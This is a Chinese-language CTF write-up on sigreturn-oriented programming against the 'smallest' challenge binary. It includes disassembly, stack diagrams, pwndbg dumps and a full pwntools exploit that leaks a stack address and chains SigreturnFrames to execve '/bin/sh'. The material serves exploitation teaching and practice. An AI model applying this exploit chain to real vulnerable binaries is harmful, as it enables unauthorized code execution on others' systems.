Eureka's Studio.

CTFwiki高级栈溢出

2023/10/31

ctfwiki高级栈溢出部分题解

SROP

说在前头

本文主要记录对于SROP的例题smallest的解法以及详细调试流程 对于SROP原理的学习还请参考下方大佬们的文章

1
2
3
4
5
6
7
原理
<https://www.yuque.com/hxfqg9/bin/erh0l7>
<https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/>
<https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.4_pwn_backdoorctf2017_fun_signals#srop>

调试 重点看后一个小时
<https://www.bilibili.com/video/BV1444y1W71h/?buvid=XX5FC8453DF96FAD4F497BD710DC3F2C7EBBE&is_story_h5=false&mid=UDTW7FqRSfajqeacM5JjPA%3D%3D&p=1&plat_id=116&share_from=ugc&share_medium=android&share_plat=android&share_session_id=e388ff6b-55ba-4323-891e-a723ade2c6e6&share_source=WEIXIN&share_tag=s_i&timestamp=1680753732&unique_k=nmY6JTR&up_id=471708905&vd_source=8686d2eff3478033f732d6a4c468b8e9>

对于例题而言 smallest最合适不过了 代码量小 便于调试 由于经常性的调试 最后还是放弃了pwndocker 因为ssh类连接要去attach很麻烦

1
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

记得执行一下 如果gdb报错的时候

调试审计

从这开始默认已掌握SROP的原理 不懂请多看多调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:00000000004000B0
.text:00000000004000B0 public start
.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
.text:00000000004000C0
.text:00000000004000C0 _text ends
.text:00000000004000C0
.text:00000000004000C0
.text:00000000004000C0 end start

SROP需要能对rax操作 有syscall以及ret 可以看到麻雀虽小五脏俱全 该有的他都有 对于SROP而言我们需要的是往rsp高地址写入寄存器数据 以达到伪造栈帧的作用

系统调用 调用号 函数原型
read 0 read(int fd, void *buf, size_t count)
write 1 write(int fd, const void *buf, size_t count)
sigreturn 15 int sigreturn(…)
execve 59 execve(const char *filename, char *const argv[],char *const envp[])

以上是我们此次解题所需要用到的内容 请注意此处所说的调用号值 我们需要到时候赋值给rax

1
.text:00000000004000B0                 xor     rax, rax

对于此处代码而言 xor指令同取0 异取1 因此题目自带的系统调用就是read 再根据64位传参规则 可以得出start调用的read指令如下

1
2
read(0,rsp,0x400)
从rsp指针处往高地址写入0x400个数据 fd一般不管他

我们确实能够写入数据 但是如果光用read函数的话 我们不知道rsp指向哪 因此我们还需要有能够打印栈内数据的一个函数 是的那就是write 之前在libc泄漏时打印got表地址就经常用它(我之前还以为write这名字咋也应该是写入数据的) 不过write的第三个参数可以不要 那么他就会打印所有的

1
2
3
read函数特性
1.read函数是逐字节覆盖栈内数据的
2.read函数会将读取的字节数返回给rax寄存器

如果我们输入一个字节 那么经过read的读入后 我们的rax会变为1 可是我们还需要跳过xor的指令 不然rax还会变成0 因此我们可以先利用read函数 读入2个程序的开始地址4000B0 那么在第一次ret之后 rsp就会指向第2个4000B0 我们再发送一个’\xb3’即可 注意是send而不是sendline sendline会跟一个\x0a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
       低地址                                     低地址
| | | |
| | | |
| | | |
| | | |
| | | |
+-----------------+<---rsp | |
| 04000B0 | | |
+-----------------+ +-----------------+<---rsp
| 04000B0 | | 04000B3 |
+-----------------+ +-----------------+
| | | |
| | | |
| | | |
|-----------------| |-----------------|
高地址 高地址

栈结构如此的话 返回时rax记为1 且执行4000b3处指令 成功跳过置空rax 只不过从后期来看 在这步之后我们还需要继续写入fake frame 因此我们压入的需要3个4000b0 在此结构图不重新画了 同时不要忘了我们调用了write 和read一样 从rsp开始读0x400个字节数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
sh = process('./smallest')
gdb.attach(sh)

start_addr = 0x00000000004000B0
syscall_addr = 0x00000000004000be

payload = p64(start_addr) * 3
sh.send(payload)
payload = '\\xb3'

sh.send(payload)
ret_addr = u64(sh.recv()[8:15].ljust(8,'\\0')) #前8个是我们自己设置的第三个start_addr
print hex(ret_addr)

#ret_addr = 0x7fffc60503f8
[DEBUG] Received 0x400 bytes:
00000000 b0 00 40 00 00 00 00 00 f8 03 05 c6 ff 7f 00 00 │··@·│····│····│····│
00000010 24 04 05 c6 ff 7f 00 00 31 04 05 c6 ff 7f 00 00 │$···│····│1···│····│
00000020 51 04 05 c6 ff 7f 00 00 66 04 05 c6 ff 7f 00 00 │Q···│····│f···│····│
00000030 77 04 05 c6 ff 7f 00 00 85 04 05 c6 ff 7f 00 00 │w···│····│····│····│
00000040 90 04 05 c6 ff 7f 00 00 0f 05 05 c6 ff 7f 00 00 │····│····│····│····│
00000050 1a 05 05 c6 ff 7f 00 00 2b 05 05 c6 ff 7f 00 00 │····│····│+···│····│

0000| 0x7fffc604f270 --> 0x4000b0 (xor rax,rax)
0008| 0x7fffc604f278 --> 0x7fffc60503f8 ("GNOME_DESKTOP_SESSION_ID=this-is-deprecated")
0016| 0x7fffc604f280 --> 0x7fffc6050424 ("WINDOWPATH=2")
0024| 0x7fffc604f288 --> 0x7fffc6050431 ("LESSOPEN=| /usr/bin/lesspipe %s")
0032| 0x7fffc604f290 --> 0x7fffc6050451 ("XDG_SESSION_TYPE=x11")
0040| 0x7fffc604f298 --> 0x7fffc6050466 ("QT_IM_MODULE=xim")
0048| 0x7fffc604f2a0 --> 0x7fffc6050477 ("LOGNAME=apple")
0056| 0x7fffc604f2a8 --> 0x7fffc6050485 ("USER=apple")

估摸着刚刚有人有疑惑 为啥04000b0最后的1个字节却是最开始修改的 原因在于数据是小端序 反过来存储的 对着栈结构一看就知道 第二个问题是我当时遇到过的 因为往后要往栈内写入大量数据 但是这样不是会破坏栈结构吗 那样某种意义上不是和栈溢出一样吗 贴一个后面写入frame后的栈结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Before:
0208| 0x7ffc092dfb38 --> 0x7ffc092e16ea ("USERNAME=apple")
0216| 0x7ffc092dfb40 --> 0x7ffc092e16f9 ("XDG_SESSION_DESKTOP=ubuntu")
0224| 0x7ffc092dfb48 --> 0x7ffc092e1714 ("XDG_RUNTIME_DIR=/run/user/1000")
0232| 0x7ffc092dfb50 --> 0x7ffc092e1733 ("SSH_AUTH_SOCK=/run/user/1000/keyring/ssh")
0240| 0x7ffc092dfb58 --> 0x7ffc092e175c ("VTE_VERSION=5202")
0248| 0x7ffc092dfb60 --> 0x7ffc092e176d ("GDMSESSION=ubuntu")
0256| 0x7ffc092dfb68 --> 0x7ffc092e177f ("XMODIFIERS=@im=ibus")
0264| 0x7ffc092dfb70 --> 0x7ffc092e1793 ("TEXTDOMAINDIR=/usr/share/locale/")
0272| 0x7ffc092dfb78 --> 0x7ffc092e17b4 ("GNOME_SHELL_SESSION_MODE=ubuntu")
0280| 0x7ffc092dfb80 --> 0x7ffc092e17d4 ("XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg")
0288| 0x7ffc092dfb88 --> 0x7ffc092e1801 ("XDG_CURRENT_DESKTOP=ubuntu:GNOME")

After:
0208| 0x7ffc092dfb38 --> 0x0
0216| 0x7ffc092dfb40 --> 0x0
0224| 0x7ffc092dfb48 --> 0x0
0232| 0x7ffc092dfb50 --> 0x0
0240| 0x7ffc092dfb58 --> 0x0
0248| 0x7ffc092dfb60 --> 0x0
0256| 0x7ffc092dfb68 --> 0x0
0264| 0x7ffc092dfb70 --> 0x7ffc092e1793 ("TEXTDOMAINDIR=/usr/share/locale/")
0272| 0x7ffc092dfb78 --> 0x7ffc092e17b4 ("GNOME_SHELL_SESSION_MODE=ubuntu")
0280| 0x7ffc092dfb80 --> 0x7ffc092e17d4 ("XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg")
0288| 0x7ffc092dfb88 --> 0x7ffc092e1801 ("XDG_CURRENT_DESKTOP=ubuntu:GNOME")

确实没错 不过对于系统调用而言 在正常的流程中是会保留进程栈的上下文的 只不过我们为了实现攻击 直接从寄存器数据入栈开始了 一般的调用是会保存、恢复数据的

Frame构造

frame的构造就按部就班了

1
2
3
4
5
6
7
8
9
10
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret
read_frame_payload = p64(start_addr) + p64(syscall_ret) + str(read)
sh.send(read_frame_payload)
sh.send(read_frame_payload[8:8+15])

首先我们构造了一个read(0,stack_addr,0x400)的frame 并且利用之前传入的第三个start_addr 调用系统自带的read函数 将这个frame压入栈中 只不过压入伪造的frame之后 还需要将rax设置为0xF

1
2
3
4
5
6
7
8
9
10
pwndbg> stack 25
00:0000│ rsi rsp 0x7ffc109bcb18 —▸ 0x4000b0 ◂— xor rax, rax
01:00080x7ffc109bcb20 —▸ 0x4000be ◂— syscall
02:00100x7ffc109bcb28 ◂— 0x0
... ↓
10:00800x7ffc109bcb98 —▸ 0x7ffc109bd3f8 ◂— 'GNOME_DESKTOP_SESSION_ID=this-is-deprecated'
11:00880x7ffc109bcba0 ◂— 0x0
... ↓
13:00980x7ffc109bcbb0 ◂— 0x400
14:00a0│ 0x7ffc109bcbb8 ◂— 0x0

由于我们的syscall后接的是ret 这个栈是我们syscall时压入的 那么接的ret会将rsp所在位置pop给rip 成为ret地址 那么我们将其设置为start_addr后 就又可以调用read了 此时我们再读入一次payload 去掉前面的start_addr(因为已经pop了) 再发送15字节 即可完成系统调用 当然还有syscall 不用说

1
2
3
4
5
6
7
8
9
execve = SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=?
execve.rsi=0x0
execve.rdx=0x0
execve.rsp=stack_addr
execve.rip=syscall_ret
execv_frame_payload=p64(start_addr)+p64(syscall_ret)+str(execve)
shell = execv_frame_payload + '/bin/sh\\x00'

execve的也同理了 只不过单有execve还不行 我们的/bin/sh字符串地址还需要找到 也就是rdi处所需要的值 rdi处的值我们可以不填 先发送payload 然后观察偏移量

1
2
3
4
5
6
[+] leak stack addr :0x7ffc1d7c33f8

19:00c8│ 0x7ffc1d7c34c8 ◂— 0x0
... ↓
20:01000x7ffc1d7c3500 ◂— 0x68732f6e69622f /* '/bin/sh' */
21:01080x7ffc1d7c3508 ◂— 0x58006e69622f7061 /* 'ap/bin' */

0x500-0x3f8=0x108 于是execve.rdi=stack_addr + 0x108即可 完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#coding=utf8
from pwn import *
sh = process('./smallest')
small = ELF('./smallest')
context.arch = 'amd64'
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
#gdb.attach(sh)

payload = p64(start_addr) * 3
sh.send(payload)

sh.send('\\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret
read_frame_payload = p64(start_addr) + p64(syscall_ret) + str(read)

sh.send(read_frame_payload)
sh.send(read_frame_payload[8:8+15])

execve = SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=stack_addr + 0x108
execve.rsi=0x0
execve.rdx=0x0
execve.rsp=stack_addr
execve.rip=syscall_ret
execv_frame_payload=p64(start_addr)+p64(syscall_ret)+str(execve)
execv_frame_payload_all=execv_frame_payload+'/bin/sh\\x00'

sh.send(execv_frame_payload_all)
sh.send(execv_frame_payload_all[8:8+15])
sh.interactive()

当然 rdi那边也可以随便设置个值 比如0x150 然后这样

1
2
3
execve.rdi=stack_addr + 0x150
print len(frame_payload)
payload = frame_payload + (0x150 - len(frame_payload)) * '\\x00' + '/bin/sh\\x00'

解个惑

我相信有人会有疑问 为什么要系统调用一个read 再输入系统调用的execve呢 干脆直接用第三个构造的start地址来输入execve的栈帧不行吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[+] leak stack addr = 0x7ffd4c3893f8

pwndbg> stack 50
00:0000│ rsi rsp 0x7ffd4c388610 —▸ 0x4000be ◂— syscall
01:00080x7ffd4c388618 ◂— 0x0
... ↓
0e:00700x7ffd4c388680 —▸ 0x7ffd4c388670 ◂— 0x0
0f:00780x7ffd4c388688 ◂— 0x0
... ↓
13:00980x7ffd4c3886a8 ◂— 0x3b /* ';' */
14:00a0│ 0x7ffd4c3886b0 ◂— 0x0
15:00a8│ 0x7ffd4c3886b8 —▸ 0x7ffd4c3893f8 ◂— 'GNOME_DESKTOP_SESSION_ID=this-is-deprecated'
16:00b0│ 0x7ffd4c3886c0 —▸ 0x4000be ◂— syscall
17:00b8│ 0x7ffd4c3886c8 ◂— 0x0
18:00c0│ 0x7ffd4c3886d0 ◂— 0x33 /* '3' */
19:00c8│ 0x7ffd4c3886d8 ◂— 0x0
... ↓
20:01000x7ffd4c388710 ◂— 0x68732f6e69622f /* '/bin/sh' */
21:01080x7ffd4c388718 —▸ 0x7ffd4c3897b4 ◂— 'GNOME_SHELL_SESSION_MODE=ubuntu'

这是我用自带的read函数 写入的execve栈帧 可以看到我们的start_addr与syscall处值相差很大 更关键的是每次这个值都不一样的大 再来看看用系统调用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[+] leak stack addr = 0x7ffe0cdef3f8

pwndbg> stack 25
00:0000│ rsi rsp 0x7ffe0cdef400 —▸ 0x4000be ◂— syscall
01:00080x7ffe0cdef408 ◂— 0x0
... ↓
0e:00700x7ffe0cdef470 —▸ 0x7ffe0cdef500 ◂— 0x68732f6e69622f /* '/bin/sh' */
0f:00780x7ffe0cdef478 ◂— 0x0
... ↓
13:00980x7ffe0cdef498 ◂— 0x3b /* ';' */
14:00a0│ 0x7ffe0cdef4a0 ◂— 0x0
15:00a8│ 0x7ffe0cdef4a8 —▸ 0x7ffe0cdef3f8 —▸ 0x4000b0 ◂— xor rax, rax
16:00b0│ 0x7ffe0cdef4b0 —▸ 0x4000be ◂— syscall
17:00b8│ 0x7ffe0cdef4b8 ◂— 0x0
18:00c0│ 0x7ffe0cdef4c0 ◂— 0x33 /* '3' */

每次都只差0x08 原因如下 我得贴一段很长的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
syscall read
输入前栈结构
0000| 0x7ffc5e3085a8 --> 0x7ffc5e30a3f8 ("GNOME_DESKTOP_SESSION_ID=this-is-deprecated")
0008| 0x7ffc5e3085b0 --> 0x7ffc5e30a424 ("WINDOWPATH=2")
0016| 0x7ffc5e3085b8 --> 0x7ffc5e30a431 ("LESSOPEN=| /usr/bin/lesspipe %s")
0024| 0x7ffc5e3085c0 --> 0x7ffc5e30a451 ("XDG_SESSION_TYPE=x11")
0032| 0x7ffc5e3085c8 --> 0x7ffc5e30a466 ("QT_IM_MODULE=xim")
0040| 0x7ffc5e3085d0 --> 0x7ffc5e30a477 ("LOGNAME=apple")
0048| 0x7ffc5e3085d8 --> 0x7ffc5e30a485 ("USER=apple")

输入后栈结构
0000| 0x7ffc5e3085a8 --> 0x4000b0 (xor rax,rax)
0008| 0x7ffc5e3085b0 --> 0x4000be (syscall)
0016| 0x7ffc5e3085b8 --> 0x0
0024| 0x7ffc5e3085c0 --> 0x0
0032| 0x7ffc5e3085c8 --> 0x0
0040| 0x7ffc5e3085d0 --> 0x0
0048| 0x7ffc5e3085d8 --> 0x0

可以看到 对于syscall的read而言 他是直接往当前rsp在的指针位置开始写入覆盖 而对于sigreturn的read而言的话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sigreturn read
输入前栈结构
0000| 0x7ffd947fd3f8 ("GNOME_DESKTOP_SESSION_ID=this-is-deprecated")
0008| 0x7ffd947fd400 ("SKTOP_SESSION_ID=this-is-deprecated")
0016| 0x7ffd947fd408 ("SSION_ID=this-is-deprecated")
0024| 0x7ffd947fd410 ("=this-is-deprecated")
0032| 0x7ffd947fd418 ("-deprecated")
0040| 0x7ffd947fd420 --> 0x444e495700646574 ('ted')
0048| 0x7ffd947fd428 ("OWPATH=2")

输入后栈结构
0000| 0x7ffd947fd3f8 --> 0x4000b0 (xor rax,rax)
0008| 0x7ffd947fd400 --> 0x4000be (syscall)
0016| 0x7ffd947fd408 --> 0x0
0024| 0x7ffd947fd410 --> 0x0
0032| 0x7ffd947fd418 --> 0x0
0040| 0x7ffd947fd420 --> 0x0
0048| 0x7ffd947fd428 --> 0x0

我们看到调用了sigreturn的read之后 我们的栈跳到了真正存储这些数据的栈地址 也就是我们之前获取的stack_addr里存放的指针所指向的地址 因此我们写入的binsh地址减去他就一定是定值了 这才是sigreturn的read在此题的大作用

提速

对于frame的构造 我们如果能够快速知道有哪些寄存器是我们能够控制的 那么对于我的exp的编写速度是一个提升

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
apple@ubuntu ~/Desktop> ipython
Python 2.7.17 (default, Mar 8 2023, 18:40:28)
Type "copyright", "credits" or "license" for more information.

IPython 5.5.0 -- An enhanced Interactive Python.
? -> Introduction and overview of IPython's features.
%quickref -> Quick reference.
help -> Python's own help system.
object? -> Details about 'object', use 'object??' for extra details.

In [1]: from pwn import *

In [2]: context.arch = 'amd64'

In [3]: s = SigreturnFrame()

In [4]: s.__dict__
Out[4]:
{'_regs': ['uc_flags',
'&uc',
'uc_stack.ss_sp',
'uc_stack.ss_flags',
'uc_stack.ss_size',
'r8',
'r9',
'r10',
'r11',
'r12',
'r13',
'r14',
'r15',
'rdi',
'rsi',
'rbp',
'rbx',
'rdx',
'rax',
'rcx',
'rsp',
'rip',
'eflags',
'csgsfs',
'err',
'trapno',
'oldmask',
'cr2',
'&fpstate',
'__reserved',
'sigmask'],
'arch': 'amd64',
'endian': 'little',
'size': 248}
CATALOG
  1. 1. SROP
    1. 1.1. 说在前头
    2. 1.2. 调试审计
    3. 1.3. Frame构造
    4. 1.4. 解个惑
  2. 2. 提速